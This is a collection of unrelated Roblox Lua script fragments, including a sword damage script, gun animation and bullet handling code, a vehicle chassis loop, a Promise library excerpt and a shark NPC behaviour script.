[17]={n,f},
[38]={{66,19,20,57,56,30,41,39,40,38},t},
[28]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{66,64},t},
}
return r
|
--[[Instructions:
Put this script IN A BRICK! Then in the same brick insert a ClickDetector, Follow the instructions below]]
|
function onClicked()
script.Parent.BodyGyro.maxTorque = Vector3.new(4e+009, 0, 4e+009)
wait(5)
script.Parent.BodyGyro.maxTorque = Vector3.new(0, 0, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--END OF CONFIGURABLE OPTIONS--
|
r = game:service("RunService")
function candamage(myteam,theirteam)
if myteam ~= theirteam or (myteam == black and theirteam == black) then
return true
else
return false
end
end
local acceptableparts = {
"Head"; "Left Arm"; "Left Leg"; "Right Arm"; "Right Leg"; "Torso";
}
function matches(partname)
for i,v in pairs(acceptableparts) do
if partname == v then
return true
end
end
return false
end
local damage = 5
local slash_damage = 9
local lunge_damage = 18
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = sword.SlashSound
local LungeSound = sword.LungeSound
local UnsheathSound = sword.UnsheathSound
function blow(hit)
if (hit.Parent == nil) then return end
if matches(hit.Name) then
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid")
if humanoid and humanoid ~= hum and hum then
-- final check, make sure sword is in-hand
local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then
if guygettingsliced then --If he's a player
if candamage(vPlayer.TeamColor, guygettingsliced.TeamColor) == true then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
else --If he's not a player (AI, shop, etc)
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
wait(.1)
swordOut()
wait(.75)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--asimo3089
|
local person = script.Parent.Parent
local cam = game.Workspace.CurrentCamera
repeat wait() until game.Workspace:findFirstChild(person.Name)~=nil
repeat wait() until game.Workspace:findFirstChild(person.Name):findFirstChild("Head")~=nil
local theperson = game.Workspace:findFirstChild(person.Name)
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35)
TweenJoint(objs[3], nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.55)
wait(0.50)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.028292872, -0.0805428922, 0.996349573, -0.330213875, -0.940037787, -0.0853677094), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[3], nil , CFrame.new(-0.156925201, 0.237828791, -2.37349248, 0.761196971, -0.424591213, 0.490205526, -0.441838264, 0.213773638, 0.871251822, -0.47471875, -0.879785895, -0.0248768628), function(X) return math.sin(math.rad(X)) end, 0.34)
wait(0.30)
objs[6]:WaitForChild("MagFall"):Play()
wait(0.30)
objs[6]:WaitForChild("MagIn"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35)
TweenJoint(objs[3], nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.4)
wait(0.5)
objs[4].Transparency = 0
MagC:Destroy()
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.510707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.403950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.25)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.430707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
--- Sets the place name label on the interface
|
function Cmdr:SetPlaceName(name: string)
self.PlaceName = name
Interface.Window:UpdateLabel()
end
|
--[[
Check out games that I'm working on:
https://www.roblox.com/games/141084271/Rise-Of-The-Deads
https://www.roblox.com/games/1158675493/Warritory
https://www.roblox.com/games/54092940/Universe-Millennium
https://www.roblox.com/games/50207032/Stranded-Alpha
https://www.roblox.com/games/126569277/The-Games-Lobby
]]
|
--
|
--[[Run]]
|
--Print Version
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--RPM
RPM()
--Update External Values
_IsOn = car.DriveSeat.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
if car.DriveSeat.ABS.Value == true and car.DriveSeat.AS.Value == false then
if car.DriveSeat.Velocity.Magnitude < 80 then
if workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * ((car.DriveSeat.Velocity.Magnitude^1.05)*(10/12) * (60/88)))) and (_CGear > 1) then
local p = workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * ((car.DriveSeat.Velocity.Magnitude^1.1)*(10/12) * (60/88))))
local aa = math.abs(p.Velocity.Magnitude - car.DriveSeat.Velocity.Magnitude)
if aa > 35 and (p.CanCollide == false or p.CanCollide == true or p.Parent.Name == "Body" or p.Parent.Parent.Name == "Body" or p.Parent.Name == "Wheels") and (p.Name ~= "Baseplate") and (p.Anchored == false) then
if (p.Velocity.Magnitude < 5 or not p.Anchored) then
car.DriveSeat.AS.Value = true
_GBrake = 5
repeat wait() until car.DriveSeat.Velocity.Magnitude < 2
car.DriveSeat.AS.Value = false
end
end
end
end
end
local mph = (10/12) * (60/88)
if script.Parent.CC.Value == true then
if (car.DriveSeat.Velocity.Magnitude*mph) - 2 > script.Parent.CCS.Value+0.5 then
_CThrot = 0
_CBrake = 0.5
--repeat wait() until (car.DriveSeat.Velocity.Magnitude*mph) - 4 < script.Parent.CCS.Value
--_CBrake = 0
else
_CThrot = 1
_CBrake = 0
end
else
_CThrot = 0
end
if _GBrake > 0 then
script.Parent.CC.Value = false
end
if car.DriveSeat.IsOn.Value == true and car.A.ACC.Value == true then
_CGear = 1
end
end)
--script.Parent.CC.Changed:connect(function()
-- if script.Parent.CC.Value == true then
-- script.Parent.CCS.Value = math.floor(car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88)))
--end
--end)
script.Parent.Values.Brake.Changed:connect(function()
if math.ceil(_GBrake) > 0 then
car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', true)
else
car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', false)
end
end)
script.Parent.Values.Throttle.Changed:Connect(function()
if math.ceil(_GThrot) > 0 then
if car.DriveSeat.AS.Value == true then
car.DriveSeat.AS.Value = false
_GBrake = 0
end
end
end)
-- ~15 c/s
while wait(.0667) do
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
end
|
--WeldRec(P.Parent.Lights)
|
local model = script.Parent
for _,v in pairs(model:GetChildren()) do
v.Parent = model.Parent
end
model:Destroy()
script:Destroy()
|
-------------------------
|
function onClicked()
R.Function1.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--// # key, ManOff
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 10
veh.Lightbar.middle.Yelp.Volume = 10
veh.Lightbar.middle.Priority.Volume = 10
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
veh.Lightbar.MAN.Transparency = 1
end
end)
|
--[[
Returns a new promise that:
* is resolved when all input promises resolve
* is rejected if ANY input promises reject
]]
|
function Promise._all(traceback, promises, amount)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.all"), 3)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 or amount == 0 then
return Promise.resolve({})
end
return Promise._new(traceback, function(resolve, reject, onCancel)
-- An array to contain our resolved values from the given promises.
local resolvedValues = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local resolvedCount = 0
local rejectedCount = 0
local done = false
local function cancel()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
if done then
return
end
resolvedCount = resolvedCount + 1
if amount == nil then
resolvedValues[i] = ...
else
resolvedValues[resolvedCount] = ...
end
if resolvedCount >= (amount or #promises) then
done = true
resolve(resolvedValues)
cancel()
end
end
onCancel(cancel)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:andThen(
function(...)
resolveOne(i, ...)
end,
function(...)
rejectedCount = rejectedCount + 1
if amount == nil or #promises - rejectedCount < amount then
cancel()
done = true
reject(...)
end
end
)
end
if done then
cancel()
end
end)
end
function Promise.all(promises)
return Promise._all(debug.traceback(nil, 2), promises)
end
Promise.All = Promise.all
function Promise.some(promises, amount)
assert(type(amount) == "number", "Bad argument #2 to Promise.some: must be a number")
return Promise._all(debug.traceback(nil, 2), promises, amount)
end
Promise.Some = Promise.some
function Promise.any(promises)
return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values)
return values[1]
end)
end
Promise.Any = Promise.any
function Promise.allSettled(promises)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 then
return Promise.resolve({})
end
return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
-- An array to contain our resolved values from the given promises.
local fates = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local finishedCount = 0
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
finishedCount = finishedCount + 1
fates[i] = ...
if finishedCount >= #promises then
resolve(fates)
end
end
onCancel(function()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:finally(
function(...)
resolveOne(i, ...)
end
)
end
end)
end
Promise.AllSettled = Promise.allSettled
|
-- plugin options ------------------ (MANUAL ONLY)
| |
-- Dark was here.
|
local nearplayer
local Players = game:GetService("Players")
function MakeAMove()
nearplayer = false
if (tick()-holdOrder < holdDuration) then return end
if stance == "wander" then
for _,Player in next, Players:GetPlayers() do
if Player.Character and Player.Character.PrimaryPart then
local dis = (Player.Character.PrimaryPart.CFrame.Position - root.CFrame.Position).Magnitude
if dis >= 500 then
nearplayer = true
break
end
end
end
if nearplayer then
task.wait(math.random(1, 1 + 1/2))
return
end
local collisionRay = Ray.new(
(root.CFrame*CFrame.new(0,100,-15)).p ,
Vector3.new(0,-1000,0)
)
local part,pos,norm,mat = workspace:FindPartOnRayWithIgnoreList(collisionRay,shark:GetDescendants())
--local asdf = Instance.new("Part")
--asdf.Anchored = true
--asdf.Size = Vector3.new(2,2,2)
--asdf.CFrame = CFrame.new(pos)
--asdf.Parent = workspace
if part then
if part == workspace.Terrain and mat ~= Enum.Material.Water then
-- redirect
destination =( (root.CFrame*CFrame.Angles(0,math.rad(math.random(90,270)),0))*CFrame.new(0,0,-40)).p
holdOrder = tick()
elseif part == workspace.Terrain and mat == Enum.Material.Water then
if (tick()-lastAdjustment) > nextAdjustment then
lastAdjustment = tick()
nextAdjustment = math.random(10,30)
destination =( (root.CFrame*CFrame.Angles(0,math.rad(math.random(0,359)),0))*CFrame.new(0,0,-40)).p
holdDuration = 2
holdOrder = tick()
else
destination = (root.CFrame*CFrame.new(0,0,-25)).p
end
end
elseif part and part~= workspace.Terrain then
destination = (root.CFrame*CFrame.new(0,0,-25)).p
elseif not part then
destination = ((root.CFrame*CFrame.Angles(0,math.rad(180),0))*CFrame.new(0,0,-40)).p
holdDuration = 4
holdOrder = tick()
end
bodyPos.Position = Vector3.new(destination.X,-6,destination.Z)
bodyGyro.CFrame = CFrame.new(CFrame.new(root.CFrame.p.X,-6,root.CFrame.p.Z).p,CFrame.new(destination.X,-6,destination.Z).p)
elseif stance == "attack" then
bodyPos.Position = destination
bodyGyro.CFrame = CFrame.new(root.Position,Vector3.new(destination.X,root.Position.Y,destination.Z))
if (shark.PrimaryPart.Position-target.PrimaryPart.Position).magnitude < 10 then
-- lunge and hold
if target.Humanoid.SeatPart then
game.ReplicatedStorage.Events.NPCAttack:Fire(target.Humanoid.SeatPart.Parent,math.random(5,15))
else
game.ReplicatedStorage.Events.NPCAttack:Fire(game.Players:GetPlayerFromCharacter(target),25)
end
shark.Head.SharkEat:Play()
local emitter = game.ReplicatedStorage.Particles.Teeth:Clone()
emitter.Parent = shark.Head
emitter.EmissionDirection = Enum.NormalId.Top
wait()
emitter:Emit(1)
holdOrder = tick()
holdDuration = 2
end
end
end -- end of MakeAMove()
MakeAMove()
local scanSurroundings = coroutine.wrap(function()
while true do
stance = "wander"
local surroundingParts = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(
shark.PrimaryPart.Position+Vector3.new(-60,-3,-60),
shark.PrimaryPart.Position+Vector3.new(60,10,60)),
shark:GetChildren())
for _,v in next,surroundingParts do
if v.Parent:FindFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 then
-- we have a player in the radius
local playerRay = Ray.new(v.Position+Vector3.new(0,10,0),Vector3.new(0,-50,0))
local part,pos,norm,mat = workspace:FindPartOnRay(playerRay,v.Parent)
if part == workspace.Terrain and mat ~= Enum.Material.Water then
-- don't set to attack
else
stance = "attack"
target = v.Parent
-- destination = v.Parent.PrimaryPart.Position
destination = (CFrame.new(root.CFrame.p,Vector3.new(v.Parent.PrimaryPart.CFrame.p.x, -9,v.Parent.PrimaryPart.CFrame.p.z))*CFrame.new(0,0,-50)).p
break
-- change y height of shark
end
end
end
if stance == "wander" then
scanInterval = 1
target = nil
MakeAMove()
elseif stance == "attack" then
scanInterval = .1
MakeAMove()
end
wait(scanInterval)
end -- end of wtd
end)
scanSurroundings()
|
-- Gradually regenerates the Humanoid's Health over time. FOTPS
|
local REGEN_RATE = 1/20 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 1 -- Wait this long between each regeneration step.
|
--[[
game.ReplicatedStorage:WaitForChild("InflictTarget"):InvokeServer(Tool,
Tagger,
TargetHumanoid,
TargetTorso,
(HitPart.Name == "Head" and DamageData[3]) and DamageData[1] * DamageData[2] or DamageData[1],
{Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]},
{Critical[1],Critical[2],Critical[3]},
HitPart,
{GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]})
Tool.GunScript_Local:FindFirstChild("MarkerEvent"):Fire(HitPart.Name == "Head" and DamageData[3])
--]]
|
end
else
MakeImpactFX(HitPart, HitPoint, Normal, HitEffectData, BulletHoleData)
end
end
else
if ExplosiveData[3] then
local Sound = Instance.new("Sound")
Sound.SoundId = "rbxassetid://"..ExplosiveData[4][math.random(1,#ExplosiveData[4])]
Sound.PlaybackSpeed = Random.new():NextNumber(ExplosiveData[5], ExplosiveData[6])
Sound.Volume = ExplosiveData[7]
Sound.Parent = CosmeticBulletObject
Sound:Play()
end
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = ExplosiveData[2]
Explosion.BlastPressure = 0
Explosion.Position = HitPoint
Explosion.Parent = workspace.CurrentCamera
if ExplosiveData[8] then
Explosion.Visible = false
local surfaceCF = CFrame.new(HitPoint, HitPoint + Normal)
local Attachment = Instance.new("Attachment")
Attachment.CFrame = surfaceCF
Attachment.Parent = workspace.Terrain
local function spawner4()
local C = ExplosiveData[9]:GetChildren()
for i=1,#C do
if C[i].className == "ParticleEmitter" then
local count = 1
local Particle = C[i]:Clone()
Particle.Parent = Attachment
if Particle:FindFirstChild("EmitCount") then
count = Particle.EmitCount.Value
end
delay(0.01,function()
Particle:Emit(count)
game.Debris:AddItem(Particle,Particle.Lifetime.Max)
end)
end
end
end
spawn(spawner4)
game.Debris:AddItem(Attachment,10)
end
Explosion.Hit:connect(function(HitPart)
if HitPart and HitPart.Parent and HitPart.Name == "HumanoidRootPart" or HitPart.Name == "Head" then
local TargetHumanoid = findFirstByClass(HitPart.Parent,"Humanoid")
local TargetTorso = HitPart.Parent:FindFirstChild("HumanoidRootPart") or HitPart.Parent:FindFirstChild("Head")
local Tagger = game.Players:GetPlayerFromCharacter(Tool.Parent)
if TargetHumanoid then
if TargetHumanoid.Health > 0 then
game.ReplicatedStorage:WaitForChild("InflictTarget"):InvokeServer(Tool,
Tagger,
TargetHumanoid,
TargetTorso,
(HitPart.Name == "Head" and DamageData[3]) and DamageData[1] * DamageData[2] or DamageData[1],
{Misc[1],Misc[2],Misc[3],Misc[4],Misc[5],Misc[6],Misc[7],Misc[8]},
{Critical[1],Critical[2],Critical[3]},
HitPart,
{GoreData[1], GoreData[2], GoreData[3], GoreData[4], GoreData[5]})
Tool.GunScript_Local:FindFirstChild("MarkerEvent"):Fire(HitPart.Name == "Head" and DamageData[3])
end
end
end
end)
end
end
function VisualizeBullet(Tool,Handle,Direction,FirePointObject,HitEffectData,BloodEffectData,BulletHoleData,ExplosiveData,BulletData,DamageData,BulletLightData,Misc,Critical,GoreData)
if Handle then
Caster.Gravity = BulletData[9]
Caster.ExtraForce = Vector3.new(BulletData[10].X, BulletData[10].Y, BulletData[10].Z)
--UPDATE V6: Proper bullet velocity!
--Requested by https://www.roblox.com/users/898618/profile/
--We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
local HumanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1) --Add a timeout to this.
local MyMovementSpeed = HumanoidRootPart.Velocity --To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
